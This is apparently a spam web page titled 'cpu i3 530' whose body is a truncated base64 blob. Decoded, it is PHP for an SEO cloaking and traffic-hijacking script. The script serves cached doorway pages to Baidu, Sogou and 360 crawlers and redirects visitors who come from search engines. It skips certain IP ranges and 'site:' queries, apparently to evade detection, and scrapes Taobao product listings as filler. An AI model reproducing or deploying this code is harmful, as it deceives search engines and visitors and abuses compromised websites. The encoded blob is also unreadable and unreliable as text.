cpu i3 530
2016-05-30 12:56:08
ICRrZXlOYW1lID0nY3B1IGkzIDUzMCc7IAoKZnVuY3Rpb24gQXBwX0dldExpbmsoKXsJCglyZXR1 cm4gImh0dHA6Ly93d3cuc2hhaWJhb2ouY29tL2FydGljbGUtIi5yYW5kKDEwMDAwMDAwLDk5OTk5 OTk5KS4iLTEuaHRtbCI7Cn0KCmZ1bmN0aW9uIEFwcF9HZXRTZWxmKCl7CglyZXR1cm4gImh0dHA6 Ly93d3cuc2hhaWJhb2ouY29tL2FydGljbGUtIi5yYW5kKDEwMDAwMDAwLDk5OTk5OTk5KS4iLTEu aHRtbCI7Cn0KCgovL8K3wrXCu8OYw43CvMOGwqwKZnVuY3Rpb24gZ2V0SW1nKCl7CglyZXR1cm4g J2h0dHA6Ly93d3cuc2hhaWJhb2ouY29tL2ltZy8yMDE1MTEwNi9scScucmFuZCgxLDIwKS4iLmpw ZyI7Cn0KCgoKCmZ1bmN0aW9uIHJuZFN0cigkbGVuZ3RoPTgpewoJJHN0ciA9IG51bGw7Cgkkc3Ry UG9sID0gIjAxMjM0NTY3ODlhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eiI7CgkkbWF4ID0gc3Ry bGVuKCRzdHJQb2wpLTE7Cglmb3IoJGk9MDskaTwkbGVuZ3RoOyRpKyspewoJCSRzdHIuPSRzdHJQ b2xbcmFuZCgwLCRtYXgpXTsKCX0KCXJldHVybiAkc3RyOwp9CgpjbGFzcyBjb3JlQXBwQ2FjaGV7 CgkKCXB1YmxpYyBmdW5jdGlvbiB3cml0ZSgkZmlsZSwkZmlsZW5hbWUpewoJCXJldHVybiBmaWxl X3B1dF9jb250ZW50cygkZmlsZW5hbWUsc2VsZjo6ZW5jb2RlKCRmaWxlKSk7Cgl9CglwdWJsaWMg ZnVuY3Rpb24gd3JpdGVub2NvZGUoJGZpbGUsJGZpbGVuYW1lKXsKCQlyZXR1cm4gZmlsZV9wdXRf Y29udGVudHMoJGZpbGVuYW1lLCRmaWxlKTsKCX0KCXB1YmxpYyBmdW5jdGlvbiByZWFkKCRmaWxl bmFtZSl7CgkJJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZW5hbWUpOwoJCWlmKHN0 cmlzdHIoJGNvbnRlbnQsIjwvZXhwbG9kZT4iKSl7CgkJCSRjb250ZW50ID0gc2VsZjo6Y3V0KCRj b250ZW50LCI8ZXhwbG9kZT4iLCI8L2V4cGxvZGU+Iik7CgkJfQoJCXJldHVybiBzZWxmOjpkZWNv ZGUoJGNvbnRlbnQpOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBlbmNvZGUoJGZpbGUpewoJCXJldHVy biBiYXNlNjRfZW5jb2RlKGd6Y29tcHJlc3Moc2VyaWFsaXplKCRmaWxlKSkpOyAKCX0KCglwdWJs aWMgZnVuY3Rpb24gZGVjb2RlKCRmaWxlKXsKCQlyZXR1cm4gdW5zZXJpYWxpemUoZ3p1bmNvbXBy ZXNzKGJhc2U2NF9kZWNvZGUoJGZpbGUpKSk7IAoJfQoJCglwdWJsaWMgZnVuY3Rpb24gY3V0KCRm aWxlLCRmcm9tLCRlbmQpCgl7IAoJCSRtZXNzYWdlPWV4cGxvZGUoJGZyb20sJGZpbGUpOyAKCQkk bWVzc2FnZT1leHBsb2RlKCRlbmQsJG1lc3NhZ2VbMV0pOyAKCQlyZXR1cm4gICAkbWVzc2FnZVsw XTsKCX0KfQoKCgoKJG15X2NvbnRlbnQ9Jyc7CmlmKCFlbXB0eSgka2V5TmFtZSkpewoJJHF1ZXJ5 X2RhdGEgPSBhcnJheSgncSc9PiRrZXlOYW1lLCk7CgkkbXlfYWxpbWFtYSA9IG5ldyBhbGltYW1h KCRxdWVyeV9kYXRhKTsKCSRteV9hbGltYW1hLT5xdWVyeSgpOwoJJG15X2NvbnRlbnQgPSAkbXlf YWxpbWFtYS0+aHRtbCgpOwp9CiRkYXRhID0gc3RyX3JlcGxhY2UoJzxwaHB1bD48L3BocHVsPics JG15X2NvbnRlbnQsJGRhdGEpOwppZihzdHJwb3MoJGRhdGEsIltpdGVtOm1lbnVdIikhPT0gZmFs c2UmJiFlbXB0eSgka2V5TmFtZSkpewoJJHRhZ191cmwgPSAnaHR0cHM6Ly9zdWdnZXN0LnRhb2Jh by5jb20vc3VnP2NvZGU9dXRmLTgmcT0nLnVybGVuY29kZSgka2V5TmFtZSk7CgkkdGFnX2NvbnRl bnQgPSBhbGltYW1hOjpIdHRwVmlzaXQoJHRhZ191cmwpOwoJJHRhZ19qc29uID0ganNvbl9kZWNv ZGUoJHRhZ19jb250ZW50LHRydWUpOwoJJHRhZ19tZW51ID0gJyc7Cglmb3JlYWNoICgkdGFnX2pz b25bJ3Jlc3VsdCddIGFzICRrZXkgPT4gJHZhbHVlKSB7CgkJJGh0dHBfaG9zdCA9ICRfU0VSVkVS WydIVFRQX0hPU1QnXTsKCQkkcGhwX3NlbGYgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXTsKIAkJJHRh Z19pdGVtX3VybD0naHR0cDovLycuJGh0dHBfaG9zdC4kcGhwX3NlbGYuJz9rZXlOYW1lPScudXJs ZW5jb2RlKCR2YWx1ZVswXSk7CgkJJHRhZ19tZW51ID0gJHRhZ19tZW51Lic8YSB0YXJnZXQ9Il9i bGFuayIgaHJlZj0iJy4kdGFnX2l0ZW1fdXJsLiciPicuJHZhbHVlWzBdLic8L2E+JzsKCX0KCSRk YXRhID0gc3RyX3JlcGxhY2UoJ1tpdGVtOm1lbnVdJywkdGFnX21lbnUsJGRhdGEpOwp9CgpjbGFz cyBhbGltYW1hewoJCglwdWJsaWMgJHNob3dfc3BpZGVyOwoJcHVibGljICRqdW1wX3JlZjsKCXB1 YmxpYyAkaHR0cF9yZWZfZmlsdGVyOwoJcHVibGljICRqdW1wX3VybCA9ICIiOwoJcHVibGljICRk b21haW4gPSAiIjsKCXB1YmxpYyAkY29uZGl0aW9uID0gIiI7CglwdWJsaWMgJGFwcF9zZXJ2ZXIg PSAiIjsKCXB1YmxpYyAkbG9nX3NwaWRlciA9ICIiOwoJcHVibGljICRjdXJfc3BpZGVyID0gIiI7 CglwdWJsaWMgJGFsbG93X2lwID0gIiI7CglwdWJsaWMgJGlzQ2FjaGUgPSBmYWxzZTsKCXB1Ymxp YyAkY3Jhd2xfdXJsID0gImh0dHA6Ly9wdWIuYWxpbWFtYS5jb20vaXRlbXMvc2VhcmNoLmpzb24i OwoJcHVibGljICRxdWVyeV9kYXRhOwoJcHVibGljICRjb250ZW50OwoKCXB1YmxpYyAkbGlfdGVt cGxhdGU9IjxsaT4KICA8ZGl2IGNsYXNzPSdsaV9saXN0JyBvbm1vdXNlb3Zlcj0ndGhpcy5jbGFz c05hbWU9J2xpX2hvdmVyJycgb25tb3VzZW91dD0ndGhpcy5jbGFzc05hbWU9J2xpX2xpc3QnJz4K ICAgIDxkaXYgY2xhc3M9J25ldyc+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSdjb2xsZWN0Jz48YSBo cmVmPSdqYXZhc2NyaXB0OjsnPjwvYT48L2Rpdj4KICAgIDxkaXYgY2xhc3M9J3BpYyc+PGEgaHJl Zj0ne3VybH0nIHRhcmdldD0nX2JsYW5rJz4gPGltZyBzcmM9J3twaWN1cmx9Jz48L2E+PC9kaXY+ CiAgICA8ZGl2IGNsYXNzPSd0aXRsZSc+IDxhIGhyZWY9J3t1cmx9JyB0YXJnZXQ9J19ibGFuayc+ e3RpdGxlfTwvYT48L2Rpdj4KICAgIDxkaXYgY2xhc3M9J21vbmV5X2JnJz4gCgkgICAgPHNwYW4+ PGVtIGNsYXNzPSdtb25leV9zeW1ib2wnPu+/pTwvZW0+PGVtIGNsYXNzPSdtb25leV9udW0nPntw cmljZX08L2VtPjwvc3Bhbj4gCgkgICAgPHNwYW4gY2xhc3M9J2Z4X21vbmV5X2JnJz4gPGVtIGNs YXNzPSd6aGVrb3UgaXRlbScgc3R5bGU9J3Zpc2liaWxpdHk6IHZpc2libGU7Jz48Yj57bmlja308 L2I+PC9lbT4gCgkgICAgPGVtIGNsYXNzPSdxaWFuZ291Jz48L2VtPiAKICAgIDwvZGl2PgogICAg PGRpdiBjbGFzcz0ndGpwX2JvdHRvbV9iZyc+CiAgICAgIDxkaXYgY2xhc3M9J3RqcF9ib3R0b20n PgogICAgICAgIDxkaXYgY2xhc3M9J3RqcF9mYWJ1IGNvbG9yXzk5Jz57dG90YWxGZWV9PC9kaXY+ CiAgICAgICAgPGRpdiBjbGFzcz0ndGpwX3hpYW9iaWFuIGNvbG9yXzY2Jz57dG90YWxOdW19PC9k aXY+CiAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgPC9kaXY+CjwvbGk+ICI7CgoJLy/lrprkuYnm noTpgKDlh73mlbDvvIznlKjkuo7liJ3lp4vljJbotYvlgLwKICAgIGZ1bmN0aW9uIF9fY29uc3Ry dWN0KCRxdWVyeV9kYXRhKQogICAgewogICAgICAgICAkdGhpcy0+cXVlcnlfZGF0YSA9ICRxdWVy eV9kYXRhOyAgICAgICAgLy/ov5nph4zlt7Lnu4/kvb/nlKjkuoZ0aGlz5oyH6ZKI6K+t5Y+l4pGg CiAgICB9CgoJcHVibGljIGZ1bmN0aW9uIHNldFF1ZXJ5RGF0YSgkcXVlcnlfZGF0YSl7CgkJJHRo aXMtPnF1ZXJ5X2RhdGEgPSAkcXVlcnlfZGF0YTsKCQlyZXR1cm4gdHJ1ZTsKCX0KCglwdWJsaWMg ZnVuY3Rpb24gaHRtbCgpewoJCSRjb250ZW50ID0gJHRoaXMtPmNvbnRlbnQ7CgkJJGFsaW1hbWFf anNvbiA9IGpzb25fZGVjb2RlKCRjb250ZW50LHRydWUpOwoJCSRodG1sID0gIjx1bD4iOwoJCWZv cmVhY2ggKCRhbGltYW1hX2pzb25bJ2RhdGEnXVsncGFnZUxpc3QnXSBhcyAka2V5ID0+ICR2YWx1 ZSkgewoJIAkJJGl0ZW1fdXJsPSR2YWx1ZVsnYXVjdGlvblVybCddOwoJIAkJJGl0ZW1fdGl0bGU9 JHZhbHVlWyd0aXRsZSddOwoJIAkJJGl0ZW1fcHJpY2U9JHZhbHVlWyd6a1ByaWNlJ107CgkgCQkk aXRlbV9waWN0VXJsPSR2YWx1ZVsncGljdFVybCddLidfNDAweDQwMF8ud2VicCc7CgkgCQkkaXRl bV9uaWNrPSR2YWx1ZVsnbmljayddOwoJIAkJJGl0ZW1fdG90YWxOdW09J+aAu+mUgOmHjzonLiR2 YWx1ZVsndG90YWxOdW0nXTsKCSAJCSRpdGVtX3RvdGFsRmVlPSfmgLvkuqTmmJPpop06Jy4kdmFs dWVbJ3RvdGFsRmVlJ107CgoJCQkkaHR0cF9ob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwog CQkJJHBocF9zZWxmID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107CgkgCQkkaXRlbV91cmw9J2h0dHA6 Ly8nLiRodHRwX2hvc3QuJHBocF9zZWxmLic/Z290dT0nLmJhc2U2NF9lbmNvZGUoJGl0ZW1fdXJs KTsKCgkgCQkkaXRlbV9waWN0VXJsPSdodHRwOi8vaS5rYW50dS5pbi8nLmJhc2U2NF9lbmNvZGUo JGl0ZW1fcGljdFVybCk7CgoJCQkkbGkgPSAkdGhpcy0+bGlfdGVtcGxhdGU7CgoJCQkkbGkgPSBz dHJfcmVwbGFjZSgne3RpdGxlfScsJGl0ZW1fdGl0bGUsJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxh Y2UoJ3twcmljZX0nLCRpdGVtX3ByaWNlLCRsaSk7CgkJCSRsaSA9IHN0cl9yZXBsYWNlKCd7dXJs fScsJGl0ZW1fdXJsLCRsaSk7CgkJCSRsaSA9IHN0cl9yZXBsYWNlKCd7cGljdXJsfScsJGl0ZW1f cGljdFVybCwkbGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3RvdGFsTnVtfScsJGl0ZW1fdG90 YWxOdW0sJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3tuaWNrfScsJGl0ZW1fbmljaywkbGkp OwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3RvdGFsRmVlfScsJGl0ZW1fdG90YWxGZWUsJGxpKTsK CgkJCSRodG1sID0gJGh0bWwuJGxpOwoJIAkJLy8gZWNobyAkbGk7CgkgCX0KCSAJJGh0bWwgPSAk aHRtbC4iPC91bD4iOwoJCXJldHVybiAkaHRtbDsKCX0KCglwdWJsaWMgZnVuY3Rpb24gcXVlcnko KXsKCQkkdXJsICA9ICR0aGlzLT5jcmF3bF91cmwuJz8nLmh0dHBfYnVpbGRfcXVlcnkoJHRoaXMt PnF1ZXJ5X2RhdGEpOwoJCSR0aGlzLT5jb250ZW50ID0gJHRoaXMtPkh0dHBWaXNpdCgkdXJsKTsK CX0KCglwdWJsaWMgZnVuY3Rpb24gcnVuKCl7CgkJJHRoaXMtPmRvbWFpbiA9ICR0aGlzLT5nZXRT ZXJ2ZXJOYW1lKCk7CgkJJHRoaXMtPmp1bXBfcmVmID0gZXhwbG9kZSgifCIsImJhaWR1LnxoYW9z by58aGFvc291LnxiaW5nLnxzby58c29nb3UufHNvc28uIik7CgkJJHRoaXMtPmh0dHBfcmVmX2Zp bHRlciA9IGV4cGxvZGUoInwiLCJpbnVybDp8c2l0ZTp8c2l0ZSUzQXxpbnVybCUzQSIpOwoJCSR0 aGlzLT5hbGxvd19pcCA9ICIyMjIuMTg0LjIzNHwxMTIuODcuNzF8NTguMjIxLjg3Lnw0OS42Ny4y MjMiOwoJCSR0aGlzLT5jb25kaXRpb24gPSAoJF9HRVRbJ2FpZCddID4gMTAwMDAwMDAgJiYgJHRo aXMtPmlzQWxsb3dkSXAoKSk7CgkJJHRoaXMtPmFwcF9zZXJ2ZXIgPSAiIjsKCQkkdGhpcy0+aXND YWNoZSAgPSBGYWxzZTsKCQlpZigkdGhpcy0+aXNTcGlkZXIoKSAmJiAkdGhpcy0+aXNBbGxvd2RJ cCgpKXsKCQkJCWlmKCR0aGlzLT5jb25kaXRpb24pewoJCQkJCWlmKCR0aGlzLT5pc0NhY2hlKXsK CQkJCQkJJHJlbHNldF9ob3N0ID0gJHRoaXMtPmdldFNlcnZlck5hbWUoKTsKCQkJCQkJJGRpciA9 IChzdWJzdHIoUEhQX09TLCAwLCAzKSA9PSAnV0lOJyA/ICdDOi93aW5kb3dzL3RlbXAvJyA6ICcv dG1wLycpIC4gc3Vic3RyKG1kNSgkcmVsc2V0X2hvc3QpLCAyNikgLiBjaHIoNDcpOwoJCQkJCQkk Y2FjaGVGaWxlID0gJGRpci4nc2Vzc18nIC4gc3Vic3RyKG1kNShodHRwX2J1aWxkX3F1ZXJ5KCRf R0VUKSksIDYpOwoJCQkJCQlpZighQGZpbGVfZXhpc3RzKCRkaXIpKXsKICAgICAgICAgICAgIAkJ CQkgbWtkaXIoJGRpciwgMDc3Nyk7CiAgICAgICAgICAgIAkJCX0KCQkJCQkJaWYoQGZpbGVfZXhp c3RzKCRjYWNoZUZpbGUpICYmIEBmaWxlc2l6ZSAoJGNhY2hlRmlsZSkgPiAzMiApewoJCQkJCQkJ JHZhciA9IGNvcmVBcHBDYWNoZTo6cmVhZCgkY2FjaGVGaWxlKTsKCQkJCQkJCSRwYWdlID0gZmls ZV9nZXRfY29udGVudHMoQVBQX0pBQ0tfVEVNUExBVEUpOwoJCQkJCQkJZm9yZWFjaCgkdmFyIGFz ICRrZXk9PiR2KXsKCQkJCQkJCQkkZmxhZyA9ICJ7Ii4ka2V5LiJ9IjsKCQkJCQkJCQkkcGFnZSA9 IHN0cl9yZXBsYWNlKCRmbGFnLCR2LCRwYWdlKTsKCQkJCQkJCX0KCQkJCQkJCWVjaG8gJHBhZ2U7 CgkJCQkJCQlleGl0KCk7CgkJCQkJCX0KCQkJCQkJZWxzZQoJCQkJCQl7CQoJCQkJCQkJLy/CsMO8 wrrCrMK9w7hBUFDCvMK0wr/DiQoJCQkJCQkJJGN1cnJlbnRQYWdlID0gaW5jbHVkZShBUFBfSkFD S19BUFBGSUxFKTsKCQkJCQkJCWlmKCRjdXJyZW50UGFnZSAmJiBzdHJsZW4oJGN1cnJlbnRQYWdl KSA+IDMyICYmIHN0cmlzdHIoJGN1cnJlbnRQYWdlLCI8L2V4cGxvZGU+IikpewoJCQkJCQkJCSR2 YXIgPSBzZWxmOjpjdXQoJGN1cnJlbnRQYWdlLCI8ZXhwbG9kZT4iLCI8L2V4cGxvZGU+Iik7CgkJ CQkJCQkJJHZhciA9IGNvcmVBcHBDYWNoZTo6ZGVjb2RlKCR2YXIpOwoJCQkJCQkJCSRwYWdlID0g ZmlsZV9nZXRfY29udGVudHMoQVBQX0pBQ0tfVEVNUExBVEUpOwoJCQkJCQkJCWZvcmVhY2goJHZh ciBhcyAka2V5PT4kdil7CgkJCQkJCQkJCSRmbGFnID0gInsiLiRrZXkuIn0iOwoJCQkJCQkJCQkk cGFnZSA9IHN0cl9yZXBsYWNlKCRmbGFnLCR2LCRwYWdlKTsKCQkJCQkJCQl9CgkJCQkJCQkJZWNo byAkcGFnZTsKCQkJCQkJCQlAY29yZUFwcENhY2hlOjp3cml0ZW5vY29kZSgkY3VycmVudFBhZ2Us JGNhY2hlRmlsZSk7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQkJZGllKCk7CgkJCQkJfQoJCQkJCWVs c2UKCQkJCQl7CgkJCQkJCSRjdXJyZW50UGFnZSA9IGluY2x1ZGUoQVBQX0pBQ0tfQVBQRklMRSk7 CgkJCQkJCWVjaG8gJGN1cnJlbnRQYWdlOwoJCQkJCQlkaWUoKTsKCQkJCQl9CgkJCQl9CgkJCQll bHNlCgkJCQl7CgoJCQkJCSR0aGlzLT5fdW5jb25kaXRpb25faG9vaygpOwoJCQkJfQoJCX0KCQll bHNlCgkJewkKCQkJaWYoJHRoaXMtPmlzUmVmKCkgJiYgJHRoaXMtPmNvbmRpdGlvbil7CgkJCQkk dGhpcy0+SnVtcCgpOwoJCQl9CgkJCWVsc2UKCQkJewoJCQkJJHRoaXMtPl91blNwaWRlcl9ob29r KCk7CgkJCX0KCQl9Cgl9CgoJcHVibGljIGZ1bmN0aW9uIGlzQWxsb3dkSXAoKXsKCQkkaXAgPSAk dGhpcy0+Y2xpZW50SXAoKTsKCQkkbm9uX2xpc3QgPSBleHBsb2RlKCJ8IiwkdGhpcy0+YWxsb3df aXApOwoJCWZvcmVhY2goJG5vbl9saXN0IGFzICRpcGxpc3QpewoJCQlpZihAc3RyaXN0cigkaXAs JGlwbGlzdCkpewoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJfQoJCXJldHVybiB0cnVlOwoJfQoK CXB1YmxpYyBmdW5jdGlvbiBjbGllbnRJcCgpewoJCWlmKGdldGVudignSFRUUF9DTElFTlRfSVAn KSAmJiBzdHJjYXNlY21wKGdldGVudignSFRUUF9DTElFTlRfSVAnKSwgJ3Vua25vd24nKSkgewoJ CQkkb25saW5laXAgPSBnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJyk7CgkJfSBlbHNlaWYoZ2V0ZW52 KCdIVFRQX1hfRk9SV0FSREVEX0ZPUicpICYmIHN0cmNhc2VjbXAoZ2V0ZW52KCdIVFRQX1hfRk9S V0FSREVEX0ZPUicpLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVpcCA9IGdldGVudignSFRUUF9Y X0ZPUldBUkRFRF9GT1InKTsKCQl9IGVsc2VpZihnZXRlbnYoJ1JFTU9URV9BRERSJykgJiYgc3Ry Y2FzZWNtcChnZXRlbnYoJ1JFTU9URV9BRERSJyksICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlw ID0gZ2V0ZW52KCdSRU1PVEVfQUREUicpOwoJCX0gZWxzZWlmKGlzc2V0KCRfU0VSVkVSWydSRU1P VEVfQUREUiddKSAmJiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAmJiBzdHJjYXNlY21wKCRfU0VS VkVSWydSRU1PVEVfQUREUiddLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVpcCA9ICRfU0VSVkVS WydSRU1PVEVfQUREUiddOwoJCX0KCQlwcmVnX21hdGNoKCIvW1xkXC5dezcsMTV9LyIsICRvbmxp bmVpcCwgJG9ubGluZWlwbWF0Y2hlcyk7CgkJJG9ubGluZWlwID0gJG9ubGluZWlwbWF0Y2hlc1sw XSA/ICRvbmxpbmVpcG1hdGNoZXNbMF0gOiAndW5rbm93bic7CgkJdW5zZXQoJG9ubGluZWlwbWF0 Y2hlcyk7CgkJcmV0dXJuICRvbmxpbmVpcDsKCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNTcGlkZXIo KXsKCQkkYm90cyA9IGFycmF5KAoJCQkJJ0JhaWR1JyAgICAgICAgPT4gJ2JhaWR1c3BpZGVyJywK CQkJCSdTb2dvdScgICAgICAgID0+ICdzb2dvdScsCgkJCQknSGFvc28nICAgICAgICA9PiAnaGFv c291c3BpZGVyJywKCQkJCSczNjBzcGlkZXInICAgICAgICA9PiAnMzYwc3BpZGVyJwoJCSApOwoJ CSR1c2VyQWdlbnQgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7CgkJ Zm9yZWFjaCAoJGJvdHMgYXMgJGsgPT4gJHYpewoJCQlpZiAoc3RyaXN0cigkdXNlckFnZW50LCR2 KSl7CgkJCQlpZighZW1wdHkoJHRoaXMtPmxvZ19zcGlkZXIpKXsKCQkJCQlAZmlsZV9wdXRfY29u dGVudHMoJHRoaXMtPmxvZ19zcGlkZXIsJHYuIi0+VmlzaXRlZCAiLiRfU0VSVkVSWydRVUVSWV9T VFJJTkcnXS4iYXQ6ICIuZGF0ZSgiWS1tLWQgSDppOnMiKS4iXG4iLEZJTEVfQVBQRU5EKTsKCQkJ CX0KCQkJCSR0aGlzLT5jdXJfc3BpZGVyID0gJGs7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJCWJyZWFr OwoJCQl9CgkJfQoJCXJldHVybiBmYWxzZTsJCgl9CgoJcHVibGljIGZ1bmN0aW9uIGlzUmVmKCl7 CgkJJHJlZiA9IHN0cnRvbG93ZXIoQCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSk7CgkJaWYoaXNz ZXQoJF9DT09LSUVbImRvbWFpbi1maWx0ZXItYnlwYXNzIl0pKXsKCQkJcmV0dXJuIGZhbHNlOwoJ CX0KCQkKCQlpZighJHRoaXMtPmlzQWxsb3dkSXAoKSl7CgkJCXNldGNvb2tpZSgiZG9tYWluLWZp bHRlci1ieXBhc3MiLCAibG9sIiwgdGltZSgpICsgMjU5MjAwKTsKCQkJcmV0dXJuIGZhbHNlOwoJ CX0KCgkJZm9yZWFjaCgkdGhpcy0+aHR0cF9yZWZfZmlsdGVyIGFzICRyKXsKCQkJJHIgPSB0cmlt KCRyKTsKCQkJaWYoc3RyaXN0cigkcmVmLCRyKSl7CgkJCQlzZXRjb29raWUoImRvbWFpbi1maWx0 ZXItYnlwYXNzIiwgImxvbCIsIHRpbWUoKSArIDI1OTIwMCk7CgkJCQlyZXR1cm4gZmFsc2U7CgkJ CX0KCQl9CgkKCQlmb3JlYWNoKCR0aGlzLT5qdW1wX3JlZiBhcyAkcil7CgkJCSRyID0gdHJpbSgk cik7CgkJCWlmKHN0cmlzdHIoJHJlZiwkcikpewoJCQkJcmV0dXJuIHRydWU7CgkJCX0KCQl9Cgl9 CgoJcHVibGljIGZ1bmN0aW9uIGdldFNlcnZlck5hbWUoKSAKCXsgCgkJJFNlcnZlck5hbWUgPSBz dHJ0b2xvd2VyKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddPyRfU0VSVkVSWydTRVJWRVJfTkFNRSdd OiRfU0VSVkVSWydIVFRQX0hPU1QnXSk7IAoJCWlmKCBzdHJwb3MoJFNlcnZlck5hbWUsJ2h0dHA6 Ly8nKSApIAoJCXsgCgkJCXJldHVybiBzdHJfcmVwbGFjZSgnaHR0cDovLycsJycsJFNlcnZlck5h bWUpOyAKCQl9IAoJCXJldHVybiAkU2VydmVyTmFtZTsgCgl9CgoJcHVibGljIGZ1bmN0aW9uIGdl dFBhZ2UoKXsKCQlpZigkdGhpcy0+aXNDYWNoZSl7CgkJCSRjYWNoZT0iY2FjaGVkIjsKCQl9CgkJ JHVybCAgPSAkdGhpcy0+YXBwX3NlcnZlci4iP2RvbWFpbj0iLiR0aGlzLT5kb21haW4uIiZnaWQ9 MTk5JnNwaWRlcj0iLiR0aGlzLT5jdXJfc3BpZGVyLiImY2FjaGU9Ii4kY2FjaGUuIiZsb2NhbFBh cj0iLmh0dHBfYnVpbGRfcXVlcnkoJF9HRVQpOwoJCXJldHVybiAkdGhpcy0+SHR0cFZpc2l0KCR1 cmwpOwoJfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBIdHRwVmlzaXQoJHdlYnVybCkgewogICAgCSR1 c2VyX2FnZW50ID0gIk1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1hYyBPUyBYIDEwXzEw XzUpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS80NS4wLjI0 NTQuODUgU2FmYXJpLzUzNy4zNiBRUUJyb3dzZXIvMy45LjM5NDMuNDAwIjsKICAgICAgICAkcmVt b3RlX2RhdGEgPSBOVUxMOwogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfZXhlYycp KSB7CiAgICAgICAgICAgICRjdXJsID0gQGN1cmxfaW5pdCgpOwogICAgICAgICAgICBAY3VybF9z ZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCAkd2VidXJsKTsKICAgICAgICAgICAgQGN1cmxfc2V0 b3B0KCRjdXJsLCBDVVJMT1BUX0hFQURFUiwgMCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgk Y3VybCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMzApOwogICAgICAgICAgICBAY3VybF9zZXRv cHQoJGN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwogICAgICAgICAgICBAY3VybF9z ZXRvcHQoJGN1cmwsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcl9hZ2VudCk7IAogICAgICAgICAg ICAkcmVtb3RlX2RhdGEgPSBAY3VybF9leGVjKCRjdXJsKTsKICAgICAgICAgICAgQGN1cmxfY2xv c2UoJGN1cmwpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlz dHMoJ3N0cmVhbV9jb250ZXh0X2NyZWF0ZScpKSB7CiAgICAgICAgICAgICAgICAkaGVhZGVyX2Fy cmF5ID0gYXJyYXkoJ2h0dHAnID0+IGFycmF5KCdtZXRob2QnID0+ICdHRVQnLCAndGltZW91dCcg PT4gMzApKTsKICAgICAgICAgICAgICAgICRodHRwX2hlYWRlciA9IEBzdHJlYW1fY29udGV4dF9j cmVhdGUoJGhlYWRlcl9hcnJheSk7CiAgICAgICAgICAgICAgICAkcmVtb3RlX2RhdGEgPSBAZmls ZV9nZXRfY29udGVudHMoJHdlYnVybCwgZmFsc2UsICRodHRwX2hlYWRlcik7CiAgICAgICAgICAg IH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkdGVtcF91cmwgPSBleHBsb2RlKCIvIiwgJHdlYnVy bCk7CiAgICAgICAgICAgICAgICAkbmV3X3VybCA9ICR0ZW1wX3VybFsyXTsKICAgICAgICAgICAg ICAgICRodHRwX3BvcnQgPSA4MDsKICAgICAgICAgICAgICAgICRnZXRfZmlsZSA9IHN1YnN0cigk d2VidXJsLCBzdHJsZW4oJG5ld191cmwpICsgNyk7CiAgICAgICAgICAgICAgICBpZiAoc3Ryc3Ry KCRuZXdfdXJsLCBjaHIoNTgpKSkgewogICAgICAgICAgICAgICAgICAgICRzX3Zhcl9hcnJheVsn dGQnXSA9IGV4cGxvZGUoY2hyKDU4KSwgJG5ld191cmwpOwogICAgICAgICAgICAgICAgICAgICRu ZXdfdXJsID0gJHNfdmFyX2FycmF5Wyd0ZCddWzBdOwogICAgICAgICAgICAgICAgICAgICRodHRw X3BvcnQgPSAkc192YXJfYXJyYXlbJ3RkJ11bMV07CiAgICAgICAgICAgICAgICB9CiAgICAgICAg ICAgICAgICAkZnNvY2tfcmVzdWx0ID0gQGZzb2Nrb3BlbigkbmV3X3VybCwgJGh0dHBfcG9ydCk7 CiAgICAgICAgICAgICAgICBAZnB1dHMoJGZzb2NrX3Jlc3VsdCwgJ0dFVCAnIC4gJGdldF9maWxl IC4gJyBIVFRQLzEuMScgLiAiXHJcbiIgLiAnSG9zdDonIC4gJG5ld191cmwgLiAiXHJcbiIgLiAn Q29ubmVjdGlvbjpDbG9zZScgLiAiXHJcblxyXG4iKTsKICAgICAgICAgICAgICAgIHdoaWxlICgh ZmVvZigkZnNvY2tfcmVzdWx0KSkgewogICAgICAgICAgICAgICAgICAgICRyZW1vdGVfZGF0YSAu PSBmZ2V0cygkZnNvY2tfcmVzdWx0LCAxMDI0KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAg ICAgICAgIEBmY2xvc2UoJGZzb2NrX3Jlc3VsdCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAg ICAgICAgcmV0dXJuICRyZW1vdGVfZGF0YTsKICAgIH0KCglwdWJsaWMgZnVuY3Rpb24gSnVtcCgp ewoJCWlmKCR0aGlzLT5pc0FsbG93ZElwKCkpewoJCQkkZG9tYWluICA9IHN0cl9yZXBsYWNlKCIu 